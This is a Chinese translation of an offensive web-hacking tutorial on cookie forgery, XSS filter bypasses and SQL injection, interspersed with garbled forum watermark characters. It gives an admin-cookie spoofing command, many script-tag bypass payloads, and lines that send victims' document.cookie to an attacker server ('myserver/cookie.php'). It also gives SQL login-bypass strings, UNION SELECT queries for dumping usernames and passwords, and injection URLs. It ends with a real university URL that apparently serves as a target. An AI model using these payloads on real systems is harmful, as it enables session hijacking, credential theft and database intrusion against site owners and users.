XSS & SQL注入

admin

XSS & SQL注入
文章作者：CyberPhreak
; O5 _" z& M, R1 G9 ~1 m译文作者：黯魂 [S.S.T]
2 C/ H, p" f9 T- N

& J( ^; {7 B% V, Q8 o" F! AXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
% y7 R3 ^* d* n) d5 _7 qX Web Security - XSS & more X
9 S7 ?3 a- M: L1 J7 K: ]XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
- T8 ^: l' J8 @* U

& h) ]- U5 D; o~介绍

在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.
4 i2 _  }" q% K% n
2 l6 B* f6 q, e$ TXXXXXXXXXXXXXXXXXXXXX
/ e& f  I8 h& O/ L1 IX Table OF Contents X
% e* S9 }0 h( M! fXXXXXXXXXXXXXXXXXXXXX
9 U7 Y7 s3 N" y2 Z  J
XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
+ X. h# S1 t, b! nX XSS X
3 r) ^, X5 O% p  pX SQL Injection X
! x0 _/ F2 ^0 C, ^8 r2 y5 NXXXXXXXXXXXXXXXXXXXX

~什么是cookie
( o6 G3 P, z$ c. e. H2 l
cookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.
! m" Z+ ]& C  e
~警告&欺骗
; ^6 k" {/ n" v8 y- G! C& m
) c7 ~8 c3 C7 S% r那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:

- e  ?  C# y, i1 I( [/ W! Cstrusername=cnsst;strpassword=cnsst

此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...
- F9 F7 l3 S- Z4 y( g1 ^. o7 r
% y" E8 t# ~9 [0 A$ j( c. X~什么是XSS

XSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.
( V4 c9 j2 D+ U9 a
~为什么使用XSS
5 N+ |. X! G3 u: K" i- w6 J
) |  q5 e- L' t6 S很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.

% t: R5 J: g3 c7 Q/ i~让我们开始吧…
# O, S4 U0 R. A
我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.

' o7 O5 O/ ]/ c+ e9 ~XSS--跨站脚本&lt;html&gt;

/ z! B% ?5 W, `# Y! x&lt;body&gt;
8 b, ~9 |3 S% M1 Z9 W
" M2 Z% T  z4 C1 ^4 ]) c&lt;form action="" method="GET"&gt;

- W1 T" q# V7 V3 y&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;

5 P, y; d7 ]. l) r  {8 tScript: &lt;input name="name" type="name"&gt;

7 e0 R% D, X) R! O&lt;input type="submit" value="submit"&gt;
- c" v. d$ e/ T# S+ R% L! O
&lt;/form&gt;

4 \7 c3 g5 }5 u+ ^, i&lt;/body&gt;
5 g% w1 F0 V1 q" o8 r1 a
4 H$ F7 j$ b# x, T7 _0 O&lt;/html&gt;

/ ]# ~( Z* J0 r
  f! ?9 B3 O, W+ P* H1 A, Q4 b
' ]) M0 z+ R4 k. V4 h2 |* w&lt;?php
& b: L! f; x6 u
) ~& {! G# o# E8 p/ p- n$name = $_GET['name'];

echo("Hello $name");
" \! {" V, a, {+ I! Y/ b1 S. }
; ~7 x# c2 Q) @, q4 R7 H?&gt;
8 K9 l0 V; v) b1 f复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:

cnsst
"Hello cnsst!"
2 F0 d, F7 p- E" D) W- e) ^9 k
: h( ?7 g7 W: G& u/ U2 p引号内的信息就是输出信息..注意看,现在我输入:
<script>alert(document.cookie)</script>
3 |# n  n) n& |1 `# E
那么它将会弹出document.cookie!所以它是易受XSS攻击的!
+ A# [$ e0 S! C  Z- ~
现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...

) m3 V! C+ w2 O9 y/ c* Z服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...

已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.
1 U% ?7 @3 l2 M  i3 [% D% A
) f. ^5 v) \# l让我们看一个稍微复杂点的例子!

假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
scriptalert(document.cookie)/script
) d; r! y$ _9 G' I  \* u5 i$ D或者可能是这样的:
scriptalertdocument.cookie/script
) y0 g! ^( I% A7 v9 Y
3 R; A/ S; N# W5 v可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.
4 R) }& Z1 Q" r+ [
让我们继续利用:
! ^$ E$ X% n' z+ ^<<script>>alert(document.cookie)<</script>>
) d7 ^' P3 W7 c  ~
, ~0 Z4 p$ d, c你的输出将弹出document.cookie.
' w# M5 K, D! C/ [
! |& m5 @) @) v) |现在来看看更狠的:
<<script>>alert((document.cookie))<<//script>>

8 Q3 i  i4 s- |1 R* j
/ G8 d' D& g2 a他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
$ }$ H  N& j* `- mscriptalertdocument.cookie/script
或者 <<<script>>>alert(document.cookie)<<</script>>>  
" u1 _5 ~5 S) o5 ~* k
( G$ H0 Z6 ?4 W2 k8 C( V他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
$ b- _0 S1 A" R- a/ d<script>alert(document.cookie)</script>
3 v  ]: L, S+ K8 }
输出像这样:srplert(document.cookie)srp
: H3 I8 X0 d3 {6 j1 i
9 v9 A9 I5 @7 Y仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
, u* U8 s5 C" @$ I4 K9 r3 S
所有重复多余的部分刚好被替换!现在让我们来点更高级的!
8 h( K( F$ x& N. e2 r  T$ S
* X2 \) P) ]" s* w2 I) Q这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
<script>alert(document.cookie)</script>

输出将是:
* N" P# ?' \2 N! xscriptalert(document.cookie)script

看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
<<script>>alert(document.cookie)<</script>>
& _' C3 z7 `' N* O* o/ }
输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:

<
script
% ]5 b! A1 A3 E& S# e  A>
5 i3 W2 e; [2 X) c9 L; }$ Salert
(
9 q0 f/ Y5 a; P0 V& _document
- _+ t' C6 W+ H.
2 T6 R. \, ~* R/ F# k5 w% Kcookie
)
. F, j" c8 e1 L8 `9 C6 ~) j, I6 u<
/
/ m1 |  u. d, C" a. Q5 X% Jscript
; Y5 X9 F1 o; C% \8 n>
5 V7 z1 d- q( s
2 q3 \$ v% w4 W0 _) l: E7 ^* G, n% {
看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
<
s
c
r
i
, H- x( e7 U6 Pp
t
>
a
l
: }& T' U1 l6 _5 D) He
" R2 \7 V& y6 }, ~% _r
5 h6 D8 Z( H$ H: V9 y; Ft
  |& m5 B" S* j0 r, k: J; H(
d
o
5 B! _! h8 p2 Fc
u
& q+ w# V$ R, D/ H9 J$ ?m
3 x+ \2 S( E8 ee
! G& V/ h6 N  \, d; F' @8 m# rn
t
4 B- j1 c% \& @+ `( ~- q3 @% ~+ E.
# {) `) \9 B+ i/ ]) C7 C6 g" V( Oc
6 M* @7 }9 M; j; D/ zo
o
k
; }3 h! z, r" C& g2 C# b5 ci
# ]! r. y& n! I$ Le
)
<
/
% e7 d5 S6 ]5 F. K, ws
c
& ]; h8 J9 W  ~; y1 x0 k8 Or
i
p
! {5 }& m' V" q% j: z1 [3 ?t
/
>
; K# u% [$ L2 y, U2 s6 C
/ F' ~, }- L5 ^6 V. t3 o% Q9 R7 h这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)

+ x  h& c8 J0 K: Y0 q8 b9 i还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.
5 I6 [+ Q5 g* ~3 ^
$ f8 e' W2 w+ Q3 L. w# w. k现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.
  y/ P* Q* d7 K9 W  i4 X. v
首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.

我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
document.forms(0).action ="http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.
3 `+ e: V# Q1 r/ F% |8 F
$ L0 e. ?+ O/ q4 h7 p) _8 K; o再次假设你在网站上注册了一个帐号,并且可以自定义资料...
document.images(0).src="http://myserver/cookie.php"+document.cookie.
或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
( V" B% J7 c* ?# ^0 kjavascript:location.href="http://myserver/cookie.php"+document.cookie
% R  ~9 L/ G% ?  Q2 {& a这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.

有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
5 y; v2 ~. W) A  X2 L: G1 p. Itelnet example.com
- J% t% m, R  `; h1 WGET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
( D3 i! M' ~, m& ]3 I3 k6 bUser-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
Referer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
~什么是SQL注入
% [3 f* v- ^! R1 R- D& j9 q
- N1 G" |- C- P/ ASQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;

&lt;body&gt;
2 ^3 S9 k& s. Z, I9 N
4 \7 ^  m. @5 a/ h  r( X: o&lt;form action="" method="POST"&gt;

" n/ H) q( H+ D5 G) s+ }Username: &lt;input name="name" type="name"&gt;
+ Q4 z' l3 J4 ~- p
Password: &lt;input name="password" type="password"&gt;
4 [  H; s  `1 j9 f" G, p
/ V1 W3 @. S, T1 D8 h6 ?&lt;input type="submit" type="submit" value="Submit"&gt;

& `1 i$ b) Q6 \$ u1 d4 M, u4 e&lt;/form&gt;

&lt;/body&gt;
7 F! j/ K, c4 E  E4 }( e
&lt;/html&gt;
复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
5 X4 o* f5 @& p% t8 E
最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.

'='
. M6 K; n; T& [5 B" x'OR 1=1--
'OR a=a--
% R% {7 O. E7 d$ l6 r2 j% P" O'OR'

+ d1 m6 ~/ }4 {2 x, I* d自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:

'OR''='
'OR"="
'OR'="
* V2 C4 d- b' ?  B, P'OR '="
% f5 I/ U9 t' v8 Q3 F'OR "='
1 g* Z) h( V* M" }'OR ''='
2 s7 m9 d, o7 [  j/ L% u'OR '=''
'OR "=''
+ Z2 F* H1 W, K1 S'OR ''="


/ N. y5 B* t% b& J9 t  \. P~
8 d, k9 |) O- g现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users

0 b+ |* \& M+ ^* L9 E8 S1 a6 a这个查询语句将执行,但是….如果毫无作用呢?
UNION ALL SELECT username,password FROM users WHERE username='OR "='
% x8 O0 O7 `9 J9 K6 xAND password='OR "='

你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.
+ N4 [, u8 ?) z# H& j. W3 Z% Z% g
一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
* u/ O4 \$ {7 C8 b7 E. YUNION ALL SELECT
0 f9 c7 B7 O; [7 Mip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip='OR''="
6 P4 d0 Q8 O3 p" d/ H
现在你看到这个了吗?(我确信你已经看到了)
http://example.com/index.php?article=34
. }$ ?. D$ o' E" c1 P5 V那将浏览Id为34的文章...让我们用"'"替换34:
' }2 ]) R/ p& _http://example.com/index.php?article='


现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
7 N" q: R! b* X; w! ^http://example.com/index.php?article='
http://example.com/index.php?article='='
http://example.com/index.php?article='OR 1=1--
http://example.com/index.php?article='OR a=a--
. W2 W- ^: Y8 O1 ~# hhttp://example.com/index.php?article='OR '="
6 O3 o( f& @# b1 `http://example.com/index.php?article='OR "='
2 h& R3 V4 d1 Q7 \" uhttp://example.com/index.php?article='OR ''='
0 k/ v& p1 {, t1 y0 thttp://example.com/index.php?article='OR '=''
% p, K) v* Q# `7 I8 N* q* Q# e5 zhttp://example.com/index.php?article='OR''='
http://example.com/index.php?article='OR"'='
$ x% Q1 A, H5 {/ i( y9 Vhttp://example.com/index.php?article='OR"''='

尽情发挥自己的创造力!
http://www.ie.tsinghua.edu.cn/notice/show.php?id=704